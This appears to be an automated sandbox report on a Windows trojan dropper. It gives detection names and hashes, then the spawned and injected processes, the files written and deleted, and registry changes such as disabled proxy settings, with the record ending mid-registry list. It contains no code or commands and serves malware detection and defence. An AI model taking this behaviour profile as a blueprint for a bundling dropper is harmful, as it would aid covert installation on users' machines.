Trojan.Win32.Agent.ahbcq (Kaspersky), Trojan.GenericKD.1776795 (B) (Emsisoft), Trojan.GenericKD.1776795 (AdAware), Trojan.NSIS.StartPage.FD, Trojan.Win32.BHO.FD, Trojan.Win32.Delphi.FD, Trojan.Win32.Sasfis.FD, Trojan.Win32.Swrort.3.FD, VirTool.Win32.DelfInject.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan, VirTool
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 6ced652ec7bb0bc11a0870b22efc3c90
SHA1: 3ba914f2c45098317c860c33353e57d3b2236e78
SHA256: 73eea81d609db2fdfb17eaf58b94d1f74a024feb71bd99d495f9627d9827e326
SSDeep: 24576:yp6ozdwaBFFcbiPwIGXGA7Se 02W9wKEG49MBRg8NnJr5FfjE86q1T7hCvmUpN1:ypBdwaj1vA9wndMfg2rn56oZCFpf
Size: 1892284 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2009-06-19 00:33:27
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
candid.exe:600
pczh_107_306.exe:1628
sc.exe:1416
sc.exe:1888
wwwww_3340.exe:3976
oovmdw_70745.exe:588
yymusic05.exe:3356
guagua_77150006814.exe:496
The Trojan injects its code into the following process(es):
%original file name%.exe:928
YFMSever.exe:3420
Ainqngz5.2.exe:504
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process pczh_107_306.exe:1628 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\öÃâ€ÂØ.lnk (715 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\Base64.dll (4 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\°®Çé.ÖÇ»Û.5.2.lnk (720 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsExec.dll (6 bytes)
%Program Files%\ainqngz5.2\uninstall.exe (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsA.tmp (6 bytes)
%Program Files%\ainqngz5.2\candid.exe (5520 bytes)
%Program Files%\ainqngz5.2\Ainqngz5.2.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsB.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh8.tmp (19409 bytes)
%Program Files%\ainqngz5.2\schedule.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Templates\1120148215041584\YYM_955WD30.gif (1134 bytes)
%Documents and Settings%\%current user%\Desktop\°®Çé.ÖÇ»Û.5.2.lnk (708 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\Base64.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsA.tmp (0 bytes)
%Documents and Settings%\%current user%\Templates\1120148215041584 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\NSISdl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Templates\1120148215041584\YYM_955WD30.gif (0 bytes)
The process wwwww_3340.exe:3976 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Program Files%\yyfm0529\2014081121\Data\dh.ini (56 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\yyfm0529.lnk (840 bytes)
%Program Files%\yyfm0529\2014081121\swresample-0.dll (3312 bytes)
%Program Files%\yyfm0529\2014081121\libav.dll (6360 bytes)
%Program Files%\yyfm0529\2014081121\YFMSever.exe (23936 bytes)
%Program Files%\yyfm0529\2014081121\SysConfig.ini (256 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\¹Ù·½Ö÷Ò³.lnk (334 bytes)
%Program Files%\yyfm0529\2014081121\Data\client.ini (36 bytes)
%Program Files%\yyfm0529\2014081121\source.dll (6584 bytes)
%Program Files%\yyfm0529\2014081121\channels.xml (784 bytes)
%Program Files%\yyfm0529\2014081121\avcodec-54.dll (23936 bytes)
%Program Files%\yyfm0529\2014081121\favorfm.xml (440 bytes)
%Program Files%\yyfm0529\2014081121\Unins.exe (9608 bytes)
%Program Files%\yyfm0529\2014081121\Data\setup.ini (110 bytes)
%Program Files%\yyfm0529\2014081121\audio.dll (3616 bytes)
%Program Files%\yyfm0529\2014081121\Data\version.ini (32 bytes)
%Program Files%\yyfm0529\2014081121\DuiLib.dll (16288 bytes)
%Program Files%\yyfm0529\2014081121\avformat-54.dll (12536 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\ÅäÖù¤¾ß\öÃâ€ÂØyyfm0529.lnk (830 bytes)
%Program Files%\yyfm0529\2014081121\pthreadGC2.dll (3616 bytes)
%Program Files%\yyfm0529\2014081121\avcore.dll (2392 bytes)
%Program Files%\yyfm0529\2014081121\yymusic05.exe (63950 bytes)
%Program Files%\yyfm0529\2014081121\avutil-52.dll (5520 bytes)
%Program Files%\yyfm0529\2014081121\Data\user2.ini (40 bytes)
The process %original file name%.exe:928 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\spkjrjp_30279.exe (38675 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\wwwww_3340.exe (433142 bytes)
%Program Files%\updatr\tj.txt (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\pczh_107_306.exe (46502 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\System.dll (11 bytes)
%Program Files%\updatr\oovmdw_70745.exe (51840 bytes)
%Program Files%\updatr\uboskin\config.ini (290 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\guagua_77150006814.exe (111890 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (65883 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\NSISdl.dll (14 bytes)
%Program Files%\updatr\yunbo0717.exe (6360 bytes)
%Program Files%\updatr\union.exe (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\mi (1 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu1.tmp (0 bytes)
The process oovmdw_70745.exe:588 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca.bak (674 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\dl.dll (65930 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMReport.dll.bdl (33840 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMDownload.dll (5520 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Desktop\Global.db (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\System.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMNet.dll.bdl (30837 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\33f59beac1c942dd19f41a7fd30f3f9b.bdt (647 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca.bak (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\hu.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\dl(1).dll.bdl (366657 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\68905108990c088c31aead3b6d1651be.bdt (519 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\tmpjnmhqw.dll (27504 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\res\onlineWnd.zip (14184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDLogicUtils.dll.bdl (47101 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\a644398e96b2e49d735a01f51e447930.bdt (3 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Common\Global.db (100 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca (2505 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMNetGetInfo.dll (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss5.tmp (111370 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMNet.dll (894 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMSkin.dll (36698 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\f2d00606824cd42a1c03eb9caa15e29f.bdt (631 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca.bak (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca.bak (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss4.tmp (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca (0 bytes)
The process YFMSever.exe:3420 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Application Data\ffee2f88\DMSet.Xml (215 bytes)
The process yymusic05.exe:3356 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Program Files%\yyfm0529\2014081121\Data\server.ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\a[1].htm (3 bytes)
%Program Files%\yyfm0529\2014081121\Data\client.ini (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ver[1].txt (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\tj[1].ashx (3 bytes)
%Program Files%\yyfm0529\2014081121\SysConfig.ini (440 bytes)
%Program Files%\yyfm0529\2014081121\Data\user2.ini (402 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\stj[1].ashx (3 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\tj[1].ashx (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\stj[1].ashx (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\a[1].htm (0 bytes)
The process guagua_77150006814.exe:496 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
The process Ainqngz5.2.exe:504 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\fengyunzhibo[1] (1644 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\hm[2].js (15 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\www.fengyunzhibo[1].xml (478 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\home-v3[1].js (6872 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\DD_belatedPNG_0.0.8a-min[1].js (3009 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[2].jpg (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\csbh200150[1].jpg (5193 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3[2].js (2196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\zhibo2[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\load_small[1].gif (556 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAQRGDKX.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\header-v3[2].css (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3-media[1].css (454 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\weixinscan[1].jpg (19100 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[6].jpg (1995 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\stat[1].php (2912 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[8].jpg (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\to-new[1].png (72 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[9].jpg (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\home-v3[1].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[2].jpg (148 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\home-v3[1].css (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[1].jpg (156 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[5].jpg (2566 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\stat[1].gif (43 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[1].txt (767 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\core[1].php (751 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\jquery-1.8.3.min[1].js (56651 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\default_avatar_s[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[1].txt (883 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[1].jpg (2454 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAZMOJ7D.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[3].jpg (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[1].jpg (569 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAEJ6JMD.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\snapshot[2].jpg (1997 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\atrk[2].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[4].jpg (3367 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\c[1].php (4285 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[4].jpg (4 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@hm.baidu[1].txt (164 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3[1].js (1321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\VGXC.tmp (56 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[2].txt (351 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (205 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[3].jpg (2451 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\header-v3[1].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\fystat.min[2].js (1 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[2].txt (1189 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[3].jpg (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box-v3[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\snapshot[1].jpg (4 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.fengyunzhibo[1].xml (266 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\home-v3[1].png (13875 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\nav-bk[1].png (126 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\hm[1].js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\core[2].php (750 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\banner-hyperx-20140728[1].jpg (16784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\hm[2].js (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\1pc[1].png (95 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\img_loading_v3[1].gif (773 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\new_message[1].js (1657 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\cover_bk[1].png (68 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fyminiloader-min[2].js (660 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@tv.aiqingzhihui[1].txt (257 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\json2[1].js (223 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\fystat.min[1].js (564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fyminiloader-min[1].js (363 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (12240 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\new_message[1].css (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\show_card[1].js (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[2].jpg (464 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\fengyunzhibo[1].htm (526 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[7].jpg (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\hm[1].js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\loading[1].gif (4285 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box-v3[2].js (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\atrk[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[4].jpg (4 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\home-v3[1].css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box-v3[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fyminiloader-min[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAEJ6JMD.gif (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\fystat.min[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\header-v3[1].css (0 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.aaa[1].xml (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\hm[1].js (0 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.fengyunzhibo[1].xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAZMOJ7D.gif (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\atrk[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\hm[1].js (0 bytes)
Registry activity
The process candid.exe:600 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DA 8E A6 5C 16 03 B9 B9 73 91 58 8C B4 96 8B 54"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process pczh_107_306.exe:1628 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"DisplayIcon" = "%Program Files%\ainqngz5.2\uninstall.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"DisplayVersion" = ""
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"DisplayName" = "°®Çé.ÖÇ»Û5.2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"
[HKLM\SOFTWARE\dsrs]
"et" = "2014-8-11"
